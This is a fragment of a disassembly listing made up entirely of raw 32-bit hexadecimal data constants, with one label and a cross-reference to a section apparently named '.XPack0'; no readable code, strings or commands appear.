		dd 84AB8187h, 99EC1184h, 98124EBBh, 0D682E3D3h,	5E94078Dh
		dd 159F3213h, 902949F6h, 0EC07F0E2h, 0EF3AEBD9h, 2F886F7h
		dd 0B7874F1Ah, 497DDC42h, 0FFC1B451h, 0FEF82B50h, 850BF934h
		dd 8B63B850h, 0CBF8E0A8h, 0F5EA3A30h, 699EEB07h, 9F5159BAh
		dd 31C616F8h, 8DCCC42Dh, 0E4E80FAAh, 400EC8D8h,	3F1F45A4h
		dd 2F8A1649h, 78DDFDF2h, 0B8D1BEB0h, 0CF5D0D19h, 0DE0FB087h
		dd 94E0E4CDh, 990F5C4Fh, 5E55157Eh, 2566AFADh, 463B4170h
		dd 0D8BD7EB1h, 19871A8Bh, 77AAAF2h, 0D6C1991Ch,	64644070h
		dd 0C99C83F9h, 0D1EBE2B3h, 62568A4Dh, 6AFEA0D0h, 0CAAECBC3h
		dd 34AA190Dh, 250692B4h, 0CCBB7F6Bh, 0DD4A7E89h, 5F550CB3h
		dd 0C63A155Fh, 107F03FFh, 68CB8106h, 5F938424h,	169C51E9h
		dd 5D485956h, 950B85A1h
		dd 8A4D485Ch, 4A59186Ah, 0F263FBE4h, 7E7BE003h,	0A9859E78h
		dd 907329CAh, 77EB9B7Eh, 9A8A50A8h, 0AB645900h,	0B290D491h
		dd 0ADACBCBDh, 0A2C0D59Bh, 0CF0EB35h, 24E35C3Fh, 83AF500h
		dd 61B44720h, 620B848Bh, 507793EBh, 0E116D058h,	50D13550h
		dd 663D3FEDh, 0D05F21CDh, 0CD1E1C2Fh, 0CA9C293h, 26CE64B5h
		dd 0ABABBCE9h, 51C6E9E8h, 1DD914ADh, 7EA3B809h,	495D22EFh
		dd 13D7F3ABh, 1B16F7F7h, 4F0109DAh, 1523C7EBh, 0B66026BBh
		dd 16ECBAF3h, 0CE804D41h, 3B44EE84h, 7808D60Fh,	97252038h
		dd 1D630F6Dh, 0BBDFA033h, 0FD1E5D27h, 865B0229h, 1807A715h
		dd 0E9747B64h, 304D9C7Ch, 716032F9h, 0B4A32AA4h, 2D9A06ACh
		dd 5257385Bh, 22A489F5h, 70B0774Eh, 0FE5BBD55h,	484FCFF8h
		dd 0A5DF8AB3h, 9262A599h, 1EA1DCD4h, 0BD7BBB5Eh, 9EBE245Eh
		dd 0C965CA2Ah, 0A0E9FCF7h, 260D1BC6h, 5959D3FDh, 0A43B70EAh
		dd 1523B36h
dword_4E414C	dd 0F503796Ah, 75C28FAFh, 0DAA5103Eh, 0D2043698h, 2BE1D31h
					; DATA XREF: .XPack0:off_43D44Co
		dd 3C61B2A3h, 978FB5DAh, 13626382h, 3CE769Eh, 887EC61Ch
		dd 0C1D10257h, 0BC62B6FEh, 0A781FA32h, 658DE3E9h, 0D233E11Bh
		dd 2F80487Eh, 77D2C393h, 68A8A58Dh, 5C5A1990h, 160A22Ah
		dd 44B77F56h, 6B25CE54h, 0CE2DCD0Dh, 0F9673E82h, 0D04075DFh
		dd 3C35425Bh, 0A41D7905h, 251F73CCh, 0EC46CD40h, 6505721Ch
		dd 77CBFC4Ch, 39EC85F2h, 0B5A22A7h, 0DA693CA3h,	116F4FBCh
		dd 0C4D628AFh, 11BF54D9h, 0F357138Bh, 0CF6F4A6Bh, 0DF92C472h
		dd 61FD4CBDh, 0C7891993h, 0CC4FE47h, 505DAFFCh,	8CB38D5Eh
		dd 1ECE9E6Dh, 8BD29D22h, 0E81A2134h, 455800E0h,	54747C7Dh
		dd 0F421B202h, 8C56C510h, 2C179FDCh, 3204E8F8h,	55425DBh
		dd 31F8C929h, 7D512AACh, 95080959h, 0AAB949EFh,	87962C28h
		dd 8BB44552h, 0EA7CE5F6h, 6BB10672h, 7A072E50h,	42ADB6FBh
		dd 86CE9890h, 0F01BF712h, 0B1B05509h, 2F987F24h, 0F55298F7h
		dd 0DDB6870Ch, 87ED2DEBh, 48AB180Fh, 308F242Eh,	247CE3EDh
		dd 6A95EE5Eh, 10857835h, 35C17161h, 0BEEF37Ah, 0FA0F8783h
		dd 0EEBB317Ch, 0ABE29C69h, 0E31C2105h, 7DF95E54h, 0CF478159h
		dd 0DC96CCE5h, 87209CDFh, 8B6588F6h, 0D7D3FC32h, 0BF71E84h
		dd 7AF1CE6Eh, 996E6F59h, 667CDD00h, 0C859418Ch,	8B1203E8h
		dd 98DDC52Eh, 1DAEB129h, 8BE16ED9h, 384F02DFh, 0F73062A3h
		dd 3BF4085Fh, 30912BE0h, 0A4635958h, 3E87F5CEh,	0C6270A3Ch
		dd 22AF3BC5h, 0CFB1DDE4h, 3DBDF621h, 52B154AEh,	4367A44Fh
		dd 25BFE518h, 0A72365FAh, 80944A0Dh, 8BB0F5E2h,	414E5EB0h
		dd 0C819A5B3h, 0ACB82791h, 73B91A49h, 0ACF14EC3h, 6001A651h
		dd 0D8A4C14Bh, 63D76691h, 60A987C0h, 97B39D88h,	0B3EC9824h
		dd 0E0B761B8h, 0E0E27DC5h, 27194D4Eh, 282321EFh, 0A652A65h
		dd 57475E6Dh, 94C3551Dh, 92631BF7h, 68187860h, 89FBBD2Ch
		dd 4B66BC50h, 2A26F2BBh, 276C1E13h, 0CA4AB90Ah,	47BA62CAh
		dd 8C12472Ch, 968A9C60h, 2C418739h, 683C4EAFh, 0B9B11324h
		dd 0D28AA5A7h, 6C86A03Dh, 0C39CFBB2h, 4F38935Bh, 9F3D2F16h
		dd 16653279h, 0A92A3772h, 3B5E16D1h, 0B43B80E6h, 52E48D84h
		dd 2D93FE3Ah, 0FAE2351Dh, 0C238B699h, 8BF14CE3h, 0A93FFBBAh
		dd 773E051Fh, 0A4E20E51h, 2AC156B5h, 219EC662h,	0B217E1F0h
		dd 91319E3Fh, 6C42CA4h,	2FFB923Fh, 0F7CFF923h, 0F9336042h
		dd 1AB006A9h, 0D46C999Ah, 118CA367h, 6FAE9215h,	76BB3602h
		dd 85AB505Bh, 0C3CB817Dh, 0A8F71324h, 0CE8BE09Bh, 29731DC9h
		dd 0FD098C6Eh, 3342A0EEh, 0E229B1A2h, 88180F3Dh, 4316D481h
		dd 349F70FAh, 2D6EA65h,	91F3F8F3h, 68693D40h, 0CCCFD28Ch
		dd 0F347633Fh, 0D6B9EC44h, 444D9E2Fh, 0CCB00C48h, 11EC4C57h
		dd 3C767B0Ch, 988E0421h, 0A5EF926h, 3EC3BC5Ah, 4D7A6858h
		dd 0EC82355h, 0E9BF3D6Ch, 2FD1C46h, 6AC41434h, 1D801F03h
		dd 5F141FE6h, 54D333F2h, 0AB0038CFh, 3A72862Dh,	674E99F8h
		dd 0BE348E8Ch, 0FCCE5667h, 0AF879973h, 2EA3E664h, 9F67508Eh
		dd 57145382h, 0A8207200h, 7878A3ADh, 610488C4h,	8D4351CDh
		dd 6EBD2ECFh, 0F71F88A6h, 8460AAAFh, 0A6A5381Ah, 7F906080h
		dd 5583C8Bh, 3807A39h, 7089BB1Bh, 9A1BCC20h, 0F9D528F8h
		dd 65F6CADAh, 0FCF8F950h, 64108F65h, 0D0C6AD43h, 46233BFAh
		dd 9D57CD69h, 0E57D079Ah, 0D42E658Eh, 1E91A084h, 0A4F1FCF9h
		dd 0F3ECD3DFh, 0E1FCA06h, 7CCC214Eh, 0B8FCDD55h, 0F8BFD94Fh
		dd 0F6CB9832h, 686B9C66h, 8668E806h, 6A29BEE7h,	0C137221Eh
		dd 5BC5484Eh, 0CCFAA5Ch, 7D58D7E3h, 19B7D989h, 18E6557Ch
		dd 0F3AD2957h, 89471382h, 0B0659961h, 0A402BF4Ch, 0A0A4CE77h
		dd 189E884Ah, 8755292Ah, 33E1D5E0h, 0DEF7E3D9h,	3E03F18Eh
		dd 0A859B799h, 38F5D843h, 1A46EA18h, 0A9A65450h, 17DAE897h
		dd 0B19ADC2Dh, 2112941Dh, 282E198Dh, 0C2B12059h, 31C7F958h
		dd 92A30D5Bh, 7F2B3BA9h, 0D8589A92h, 22FB75F0h,	3C9191A0h
		dd 3816D9E5h, 0D4E8EF4Bh, 0BF15698Dh, 0E6A700DFh, 3AF29E7Eh
		dd 0AB62D2Bh, 1F968654h, 0CD6F7C3Fh, 6CE0F27Ah,	0D4E518B7h
		dd 57259115h, 0F9D20D1Eh, 6051EC4Ch, 7F81F3C5h,	0AA88601h
		dd 38940699h, 4D898AE4h, 0E0C306F1h, 0B078EFDAh, 7B00D1D6h
		dd 0A0281CD1h, 380D40E8h, 3F056F95h, 0C4BD1E8Ch, 0BC4CED4Ah
		dd 6368F95Ah, 0A8FCC1B0h, 6995270Eh, 4FB72D11h,	36AE3D11h
		dd 5FAB2D79h, 0D1B2EEC4h, 46984CEAh, 7E847788h,	9D137B70h
		dd 47EA830Eh, 61352385h, 0E3921F59h, 1C885D69h,	1E9B6B13h
		dd 0B09591B5h, 6BC1AB05h, 8EA59894h, 8257349Ah,	0DB1B75C2h
		dd 0E880AF06h, 39629B9Dh, 0DB397510h, 0A64F4C6Dh, 0EBC55BCAh
		dd 21755207h, 4CD4A14h,	15DC73D4h, 0DFEFE23Dh, 0DAEC7E05h
		dd 495FE813h, 487E5468h, 0C9E03620h, 7100C722h,	8B04DD81h
		dd 7B71E6h, 87AAD9C1h, 0B30AFCBEh, 428D8CA0h, 0FD5E4419h
		dd 0EDEB34D1h, 3EBD11F3h, 0DFD85E21h, 0C691B779h, 7028CD73h
		dd 20D6EF4Ch, 839624CAh, 4AD758C1h, 87B1BA78h, 6D3D2ACFh
		dd 0D4690A58h, 99053E07h, 71ACAA78h, 4CAAD295h,	8E0D195Ch
		dd 0BABF67DFh, 2D1D13E1h, 633804Dh, 54FE604Ah, 0E83519E7h
		dd 862B661Ah, 0FE12692Ah, 0D64A18EFh, 263160D4h, 0C9B67338h
		dd 0D3798D5Ch, 68A7A6D2h, 45F971BFh, 0D2F1B337h, 672BCD87h
		dd 0B51BEEBCh, 52BB2680h, 89B218FCh, 4ABE4B36h,	0A87C0723h
		dd 92614AF3h, 4DD20182h, 0C3FE9C12h, 0DA6FE82Dh, 536E76EEh
		dd 0B7EE3C47h, 6E510913h, 0D3538823h, 0F06073E4h, 32C23243h
		dd 10A193A2h, 16AEA6Bh,	1936AAB6h, 0DC604139h, 0A6665FB9h
		dd 0E0A6651Ah, 34328346h, 0BD364D2Ch, 0A2379307h, 14442439h
		dd 0BFD7273Fh, 7CA906A5h, 8FCD7DA6h, 743C824Ch,	184906Ch
		dd 0A60DD4B1h, 0CB75A14Bh, 10B1A55Dh, 8D9C217Dh, 1951F5E9h
		dd 0C8D6BDFCh, 0CA7DB4Fh, 7FEEB8DEh, 9F4D7185h,	559D817Ch
		dd 0B2F3A90Dh, 81084B7Ah, 39D6EABEh, 0E99D7C17h, 9472C2EEh
		dd 8C8556E5h, 606A1678h, 42A0866Dh, 6399C75Eh, 0DB6D6E99h
		dd 24587333h, 0CD67679Eh, 92DC840Dh, 644F6F35h,	8DF77C18h
		dd 2BF8E18Ch, 3D8B9DD5h, 87FBD74Eh, 0C69E3B2Fh,	0AE952B11h
		dd 8C1CFEBDh, 2D5EB4C5h, 0BCF79E06h, 776F9AC0h,	0BEEE342Ah
		dd 9E961FC7h, 82FFAD54h, 0A410E0F2h, 0ECD99E0Ah, 36CAE748h
		dd 0DE923A1Bh, 0B69386FFh, 0C2482DB8h, 5EFE9EF5h, 0A535068Eh
		dd 9493116Dh, 966AB4FAh, 5DA4FCAAh, 6D59E4FDh, 3C3ECBFEh
		dd 0D26A3915h, 994A4856h, 10FEC5E1h, 6C901746h,	0FAF95702h
		dd 1DDD5F40h, 4E36AEE1h, 719A1384h, 4E56E9Ah, 5A47C5C2h
		dd 8948A397h, 5774969Bh, 9D4EBBEFh, 3DEC09C6h, 0F77926Fh
		dd 0C288F75Eh, 0C3FA435Ch, 0CEB238A3h, 9E319D4h, 5471353Bh
		dd 2EEF24Eh, 0B50A6679h, 49E6A9F2h, 0AA6CA55Eh,	0E522ED72h
		dd 5A2718A2h, 10576B0Ah, 6722C824h, 5832E67Fh, 4D4446A8h
		dd 12E323ABh, 2F967B11h, 0F6E1F03Bh, 96CB29DEh,	0CEC5F4DCh
		dd 224A18AEh, 21990001h, 10EBC07Ah, 0A7DE5B99h,	8D51460Eh
		dd 0C2535D7Eh, 0CAF1AC97h, 0E5C1A0Fh, 0FBD9CF51h, 0AB0B3F5h
		dd 805D7CB7h, 0C46E4A02h, 8E6B4AD8h, 184CE2EEh,	36915388h
		dd 6948ED22h, 3EE082Ch,	413FD1BDh, 23937FDDh, 30E3A2B7h
		dd 40D1609Bh, 0F5A17605h
		dd 24DE63D5h, 0A5DA31F0h, 34A812F2h, 0EF73128Ah, 0E02D4067h
		dd 1F92A21Fh, 0F8FF0C19h, 51F576C6h, 705D9C43h,	0EC498EE2h
		dd 2F83BB0Bh, 0C254815Ah, 73E1CD84h, 0FC80DAC2h, 507F528Dh
		dd 4BDDD307h, 119A7748h, 0ACA2E37Ah, 0DA1597CDh, 0ED0E3DA3h
		dd 97462C92h, 0A18E5F56h, 0C9B7532Ch, 63454984h, 96789DBEh
		dd 0B977F489h, 17781874h, 0A06B0AB6h, 400CBFA5h, 0A9CB280Ah
		dd 11CBE701h, 0C1A08E58h, 9F82936h, 0A4EA99E4h,	10D67AAFh
		dd 0BE67AE6Bh, 0FCF052CDh, 0D4FD685h, 0C189B379h, 5BFFC73Bh
		dd 3DD51BECh, 1824F6E5h, 70333571h, 3885FDB0h, 976A5390h
		dd 52D164D4h, 0DEC18201h, 7AA98543h, 0C6F0501Ah, 0F4203371h
		dd 0B139B828h, 0E55E7E4Ch, 0EC01169Eh, 0C9126FF0h, 4939E3A1h
		dd 0C4DAB3Fh, 9042878Fh, 0D7E236Ch, 761F7B50h, 26D55727h
		dd 42662EA1h, 0A0A282B9h, 0B7D381B8h, 0B066EEDh, 0FF3FB073h
		dd 0F11F6DE0h, 0E5A558DAh, 6C6D8FB6h, 0B3865DF7h, 99EEB73Bh
		dd 76020A1Dh, 0E43B5FECh, 0F8FF755Dh, 70A7FF95h, 85182E45h
		dd 6918B720h, 81B9C463h, 0B7FC33FAh, 2AADF940h,	81538A02h
		dd 1C4EBD88h, 0C5A77FD0h, 0F34A7118h, 2F022B03h, 1699F42Fh
		dd 5923BD74h, 0EF1FA606h, 1EE0CBD2h, 60E0FA4Ah,	0D3B3FCE2h
		dd 9D1DAF76h, 48964976h, 3933A60Eh, 0F5BEBE58h,	86F5DA00h
		dd 0C5FBB506h, 0AB0492AFh, 0FF391C3h, 0EFC6BF63h, 0F0E3C0F0h
		dd 0F0A8FA20h, 52FE1929h, 82C8CBDAh, 2D3A52CFh,	0CFEF7A75h
		dd 8ED6F95Ah, 0DF701033h, 0A249D841h, 5E2747B8h, 535AD3C8h
		dd 87673F1Ch, 0AAE1E235h, 0C647C57h, 457D667Ch,	38A3C2D3h
		dd 0E9F6F866h, 1BD4C4DAh, 4B32AE1Ah, 5B920C1Dh,	1BA20FB3h
		dd 0B8503DEEh, 0B75798B4h, 35AC75F9h, 43F5FCA8h, 219E8C51h
		dd 81A66CA2h, 90D4CF68h, 60304410h, 7502A95h, 0FDAF0A45h
		dd 0FC8D2653h, 7C38D352h, 5C57759Ah, 3DF4B313h,	0B30EB671h
		dd 0E8BDE54Bh, 81E3F60Dh, 25B746A4h, 68B129Ah, 7D4F1E73h
		dd 0F4D1616Bh, 0C86C7C5Ch, 0E2164F18h, 52210347h, 0AA823302h
		dd 876D6D0h, 0F84FAFE0h, 6CFA2ACDh, 0A12D9AC4h,	7FC7CDFDh
		dd 5FEAD33Dh, 0EF4827EEh, 0B13C316Bh, 28B41CD5h, 596A0440h
		dd 3C6E3DFDh, 0B73E3B8Ch, 87AC9A5h, 69C0503Eh, 0BE7259BDh
		dd 9DE3D4BFh, 0EECEDB1Ch, 0EFDA4636h, 93CD0EF3h, 0FAC41290h
		dd 0F7F8E3B8h, 4C75AECBh, 1DB76225h, 8C1460h, 0D83C8E8h
		dd 876BCE6Ah, 0D9CB6BA3h, 71326A0Fh, 33F33601h,	0DBB6E32Fh
		dd 74139227h, 157FDB4h,	1DE5537Fh, 0E5A8F5A2h, 0E5B10D75h
		dd 2DD7506Dh, 596219EAh, 1BD4F3B6h, 546A19ADh, 0DFC04F4Ah
		dd 0BE508F35h, 34FD7D17h, 0AEE4B8B9h, 24355C58h, 0A02512E0h
		dd 0D421F2DCh, 17488C1Fh, 3A03D96Eh, 154A5F3Dh,	67FD13B4h
		dd 0DDDFFA2h, 363FB867h, 0CFABDB9Fh, 181368A8h,	171AFE39h
		dd 3CA40999h, 6247E801h, 71BEC9B9h, 0D4ABEFBh, 0C5683730h
		dd 0B5D9743Dh, 0B15BA02Eh, 602B0A3Fh, 5F026ABDh, 3C2A689h
		dd 0FC9B0EFFh, 0AAB7BB45h, 388FB53Dh, 364CF811h, 0F98486h
		dd 0E828DD60h, 0BF9F12CAh, 0B4B919BDh, 91FFF886h, 338F6C2Ah
		dd 9B7674F7h, 540FE252h, 2745A476h, 0C7E19CCAh,	5EE1DFB8h
		dd 0F6AC5E27h, 7741B2A6h, 0D4D4510h, 1EEAFCD6h,	5C721B7Dh
		dd 0B93BF1A2h, 46F9BB90h, 0B30E3BABh, 635189B6h, 9515130Dh
		dd 9725015Bh, 2CB56602h, 0EA03AA1Dh, 5B12C26Ch,	0A1F977ECh
		dd 930DA406h, 0E790E94h, 0D0AD4A09h, 1F8BE060h,	1CD4BCBCh
		dd 47CC98D2h, 338985BEh, 11FC61B4h, 0D36F928Eh,	10F0CC00h
		dd 0FD2492Dh, 8BDE4E0Bh, 0F384E02h, 528D8C6Eh, 0D6D66C91h
		dd 0A58723B7h, 74C61D66h, 53FC42FEh, 8A62F7C9h,	8DEC7A6Bh
		dd 28C139E5h, 0F3D57A31h, 598EA5FAh, 4A965341h,	74CF7953h
		dd 299B2EE4h, 7F5BB8DBh, 0D7F5FCFh, 5FCCDBC7h, 0AF640848h
		dd 0F1BB280Ah, 0C9C49856h, 0A72A9025h, 0E91DBE7Ch, 2229877Ch
		dd 60FF0553h, 644B0BAFh, 5CE30EDBh, 0BC636656h,	9DC2A024h
		dd 41D813E6h, 0F0563839h, 3BE0FBAFh, 8E231BEEh,	3554EB24h
		dd 792AC1B5h, 0F5CF60C2h, 9D3565A9h, 0EB721EA7h, 0BCB36CF4h
		dd 0CC642F5Bh, 0E29A300Fh, 0B3545222h, 52954EC5h, 0FA28AB8Bh
		dd 0FCC08462h, 0E05356E4h, 0E299A4BBh, 1673C674h, 0BEDF8905h
		dd 59354A2h, 742A401Bh,	0D593A441h, 6A34FFEAh, 55214028h
		dd 92B5D2Bh, 6C2F8E5Ch,	0E141AF5Dh, 53729DE2h, 1B7183F8h
		dd 0E3C3BF53h, 0A5CFCC89h, 345076D7h, 1EB991C5h, 911581E8h
		dd 2A223B8Dh, 2E1F9AAEh, 0D80C3C55h, 7304A32Eh,	492D2E08h
		dd 0BE752723h, 48E2168Fh, 935DE315h, 9F0A891Dh,	0AD0297DBh
		dd 0D03FB1C8h, 0DC6632D5h, 380BA968h, 80BA0AAFh, 560BC88Eh
		dd 44EFC511h, 8228761Eh, 5B0782A0h, 3E23E4E7h, 0D3653E1Eh
		dd 0BE7E9492h, 0A9DD36C2h, 72DFD895h, 2D740CFBh, 0F5D21090h
		dd 9E92036Eh, 0F07321F3h, 81124DEh, 0BEB2BEEBh,	7623EBD5h
		dd 0B721F142h, 0E94F85E8h, 35C05DDEh, 0CFEDCC9Fh, 0C3C7FC72h
		dd 133FADFBh, 75972F8h,	4C35DA07h, 0B08AA05Ah, 429EA214h
		dd 3079A4E0h, 973529D7h, 69CFBCEh, 6487D703h, 74074CA6h
		dd 6CEBC3FBh, 7200DDCFh, 0B287A67Eh, 0EFEC7985h, 7E2B4FFCh
		dd 8D2EDB96h, 68EA8254h, 0D44D71D0h, 106B58F9h,	94B390F1h
		dd 89FEA16Ch, 7115DA6h,	659A48E6h, 273E0C47h, 0D6BC3E33h
		dd 0A31C807Bh, 0CDB01D13h, 0FFD7ED48h, 69E73F15h, 48BB47ACh
		dd 38E60F69h, 0CDE700F6h, 0ED7D63DBh, 4A47DACFh, 88440A6Fh
		dd 283F4431h, 8899AB6Ah, 1297BBEFh, 418674AFh, 434A3B4Eh
		dd 5AA3E1F1h, 0C0005599h, 2694B5B8h, 5C03BA7h, 251DFBE2h
		dd 328D925Fh, 117B3BDDh, 8C79740Ah, 65513909h, 8491FD63h
		dd 11B1E525h, 2EF9D4EBh, 7BC6071Dh, 0ED63E319h,	0D98B38BDh
		dd 74B2516Dh, 0C35237A9h, 694DF45h, 0E7AD7240h,	0FB719D76h
		dd 12D15F96h, 90C0A5FDh, 6F001D06h, 7DD8A54Ch, 8A85367Dh
		dd 52B5DB74h, 604843A2h, 6A0911E2h, 973BA6C5h, 0DFE1AFE8h
		dd 0CA9173B6h, 0FDA01817h, 937A4B7Bh, 905806D9h, 0AEE4077Dh
		dd 3B84E2A9h, 0F3B4C462h, 0BD4266A3h, 22FAE6B5h, 0B54C709Ah
		dd 0FAE283A6h, 109D5519h, 66C5C9C8h, 0D5DB3E9Eh, 92ED8431h
		dd 79AD61D6h, 114119D9h, 0F917ED03h, 31E08FC5h,	0C0CA157h
		dd 600D8205h, 0A20A87E0h, 0FDE47D5Dh, 0E784419Eh, 0F9B3FE64h
		dd 8D40F120h, 75FBE238h, 4AC7553Ch, 204FAEE5h, 0C3C4FDC9h
		dd 8BC20C12h, 399A0B5Eh, 0C0A9C6E7h, 2ADD83A1h,	0DA636AFBh
		dd 5F09FCDBh, 0FCE2C085h, 97010EA0h, 0BCA7C10h,	2F99982Fh
		dd 86A5D82Bh, 0FBA66BE1h, 0FD814448h, 123824A7h, 52971EFAh
		dd 4B1DEBCDh, 63F71E2Dh, 932E3196h, 0C926E4E9h,	76EBBEFh
		dd 67579D38h, 22A21893h, 78C69C35h, 8818D0C5h, 7D29C19Dh
		dd 8525627Dh, 50DA798Fh, 75D15842h, 0FD249CE4h,	937D4DC3h
		dd 17821E13h, 79CEAD7Ah, 0CB7170Ch, 9033CE93h, 7A5EAE1Bh
		dd 96719FD7h, 0B89C8B7Fh, 988BB60Ch, 8C378D15h,	0D39E357Eh
		dd 4009DF75h, 1BC339FDh, 0C19F7406h, 27ED265Ch,	78A58A47h
		dd 0CD1B8178h, 0CA76BC62h, 5538CDFBh, 0EDB6382Ah, 0CBF79FB6h
		dd 7589FEC9h, 9FEAAA42h, 16F2571Eh, 0D5B1FE86h,	97011F7Ch
		dd 5F8A1039h, 7083D347h, 0B71B522Bh, 0DFB77E97h, 0B9F0D0B8h
		dd 1D72268h, 0F43E4EAAh
		dd 9D4CC3ACh, 8384BDF4h, 545E5948h, 8A9AF267h, 71FE9D72h
		dd 0C1A1469Eh, 0A0BC473Ah, 9DEABC06h, 0F7C53690h, 70A91BE4h
		dd 3593C283h, 3B5E9DEh,	0E089CCB0h, 2B418F2Dh, 58706E92h
		dd 0B8C2A083h, 0ADA5A222h, 0D6104D6Ah, 0A7E8FCDBh, 5F5D8EF7h
		dd 6E3DB23Eh, 9F4250BBh, 6B79CC1Dh, 0E4DD474Dh,	57BADA15h
		dd 0BFB33A83h, 0A81282EAh, 0CF190198h, 0DC941386h, 1180D37Ah
		dd 3B12678Dh, 9432F019h, 0D078466Ah, 0B2D481B8h, 88BE7090h
		dd 419EE12Ah, 90A6BCDCh, 20841062h, 1A78EEACh, 26561E3Fh
		dd 3D6AC4CEh, 0EB96AFFBh, 0C269D62Bh, 0F4107CFCh, 0A33D1362h
		dd 0B2B4C588h, 0AA0B3067h, 8A295D44h, 0AF245519h, 0FF049251h
		dd 3E19A31Eh, 0FC7C079Fh, 0C2331892h, 0ABCF93D8h, 681FB6F5h
		dd 940237Bh, 182C8A05h,	9CA47869h, 73AF6A4Ah, 7021B551h
		dd 391D38C9h, 0C0D6ADh,	0ADB6C315h, 8529711Dh, 402FF5E1h
		dd 8DA3AE33h, 730C3C0Eh, 6866F8D1h, 0C74D0B3h, 49E3D35h
		dd 25075785h, 0E9A80357h, 69C17BAh, 1CC3DB9h, 0A666E538h
		dd 0C7E7977Ah, 0FDE99CAFh, 4BC47200h, 0ACF1B8B5h, 0AE5A1AEDh
		dd 5B7F735Bh, 43519FB9h, 0F29DB610h, 0D08B146Eh, 79809990h
		dd 1C82C0FAh, 0F6450015h, 799852Eh, 5EFC232Ah, 9E9F97DDh
		dd 7765579Ch, 73F44574h, 3FB4C653h, 0CD882F8h, 9499DAEAh
		dd 0CAFF6F4h, 7861D3F8h, 96ECAF57h, 3CCA2245h, 0B23B6577h
		dd 89421C6Eh, 0DA293678h, 0BBCB81DCh, 0E6E297FCh, 4DFDA02h
		dd 8F5A3E33h, 569E086Eh, 5CB785E9h, 977EFDB8h, 4E34836Ah
		dd 72D1AFC3h, 0BEEA9F7Fh, 644DE42h, 0E4525A7h, 1C47C192h
		dd 8C6D4973h, 0A1ED6EDDh, 5A923F97h, 16014024h,	56FC8478h
		dd 30B56204h, 443911F6h, 0C70DEA1Eh, 3DF0DA3h, 2E2FE2DBh
		dd 0D5018F2Fh, 0DA8505C8h, 4BC154E3h, 93721F06h, 0D8ED2532h
		dd 0CD02F7D7h, 2DC4FB02h, 607F845h, 0B2ABD6DCh,	0AFC37EACh
		dd 0ABABF9F9h, 9FE9F757h, 0A84BC666h, 48997405h, 36FAEE90h
		dd 7FC7AE24h, 0F50A3125h, 238AE378h, 0C9B77E0Eh, 2DFBE06Eh
		dd 5D5AA6BEh, 7374A299h, 5E8F4A91h, 0B725EB9Dh,	5E323257h
		dd 7D9FCA4Fh, 850E358Ch, 734F5BD3h, 3EADBE7Dh, 17732A43h
		dd 0A26EAE2Bh, 6D2067C0h, 0A2C7C4AFh, 62B2698Bh, 0C33C605Dh
		dd 587CFD73h, 84845A89h, 0CADCED47h, 1BC9D80Dh,	403123A9h
		dd 5A657A19h, 81A63B9Bh, 0FF581E47h, 29DCF16h, 4CC81DB3h
		dd 0C224AD73h, 0EBC60F3Ah, 3E7380DEh, 2FCCD26Fh, 0E45F44F9h
		dd 75E3321Ch, 0BBBF058h, 33C976D7h, 1BB225AAh, 7D93150h
		dd 6F9EF319h, 1035BAFEh, 75134C8Dh, 0C643E0F0h,	0E4A5683Fh
		dd 82B5D45h, 58845BC3h,	8E7C4878h, 1573F7B9h, 0A654CD49h
		dd 0B9353A43h, 5C751123h, 4DD82CB4h, 63A76AFAh,	302296A6h
		dd 67A2067h, 9F0DAE5Ah,	99363502h, 0A6671C6Ah, 7578A7E7h
		dd 5B768A88h, 0D596EFEh, 2B4FCB62h, 2A2F2918h, 36B5F5D9h
		dd 4BBBB14Ah, 2B184CFBh, 95C3976Bh, 0A2A75DB9h,	8DF0DF1Ch
		dd 0AE4B214Eh, 2615A8Fh, 0B7769096h, 130D419Ch,	0AB30826Ah
		dd 0C9A31788h, 532CAD0Dh, 0D4289330h, 0A9C9E8B9h, 72FB9B5Eh
		dd 98CA0E75h, 0EC173F2Fh, 91168DC6h, 0E8C91DE4h, 685FA6BCh
		dd 0FFA80D41h, 78D4CBDAh, 0B513DACCh, 469AD62Fh, 396E43CAh
		dd 94C39F3Ch, 81971BB0h, 7688E2EDh, 0D43A053Eh,	0DDFDE65Fh
		dd 57958D37h, 0EB7DA740h, 72E58AC0h, 0AC8FDCFCh, 2DD7FCA5h
		dd 0A838FE97h, 3575F43h, 0E0EB30Ah, 9D092807h, 0DF10B10Ah
		dd 67A5D05h, 35425957h,	0AB0B34D9h, 0F2F2777Ch,	12380CCh
		dd 0B7499573h, 19F10DF4h, 49839AE7h, 0E05801A3h, 76064751h
		dd 0B85C6A23h, 7C55F90Dh, 1341E71h, 0BAC1EB0Ch,	7C53D666h
		dd 84126776h, 0A5A117CDh, 6F0E058Eh, 0F83A548Dh, 0CBC0EA4Bh
		dd 8B08654Eh, 0C22B7E68h, 95DD3BEh, 0A4826D9h, 8DBD924Ch
		dd 7C5697FEh, 0BEF47822h, 0ACED7DC0h, 0B03CDF65h, 0A4BC210Fh
		dd 13F34039h, 53282303h, 4EC4AA59h, 35B0F460h, 0EEFF59C3h
		dd 82852D57h, 0EDC4FC4h, 5F69F769h, 0D1A9235Ah,	60EB2363h
		dd 0A972EC90h, 8191C477h, 0B2249DF3h, 2C2F29FAh, 0C7DA55E6h
		dd 281BC152h, 0E8507B82h, 0BD6C58C9h, 0B09F398Fh, 44C5D2E8h
		dd 2E3EC24Bh, 0CC8DEA53h, 33E8A791h, 28EF1608h,	50D19546h
		dd 359B7CBEh, 9703D8BBh, 82C7DCA3h, 35C7ACB2h, 2017BA61h
		dd 0FE90D99h, 856B2FF6h, 7E8395D7h, 15E86665h, 0BC833153h
		dd 0DF8AD907h, 0F786C500h, 0C5D998E3h, 0EE815209h, 0B566EC04h
		dd 6F834119h, 0E54B83E6h, 68842B35h, 0B1A88D2Dh, 82AC133Bh
		dd 8A2EC444h, 904DC7A7h, 8FDFA27Ch, 42CE5A6Dh, 6DF43CAEh
		dd 89DA7EAEh, 0D1D56705h, 207E0959h, 423F6750h,	46889D32h
		dd 0D360026Dh, 0DF36610Fh, 0B1594581h, 984FD52Dh, 0FF0FB83h
		dd 7334D34Dh, 0B25EE1C3h, 6D7D09D9h, 0A031BF9Fh, 916A7A66h
		dd 0F96393E2h, 0FA7AF09Dh, 0E04ED1E7h, 0F206F5A7h, 0D1D076F8h
		dd 124A7775h, 0DF221E4Eh, 0F080A07Dh, 0D5943156h, 0ECFF6411h
		dd 5419011Fh, 68A633D8h, 7A7B40DCh, 9836084Ah, 0CE69FEBCh
		dd 6C0C64E4h, 0BF570F9Bh, 0E5DE5729h, 0BC3A3649h, 0B00EA77Fh
		dd 5A5142E9h, 1B15CC71h, 0B696DE06h, 8EEC318Ah,	0D5EE5F5Fh
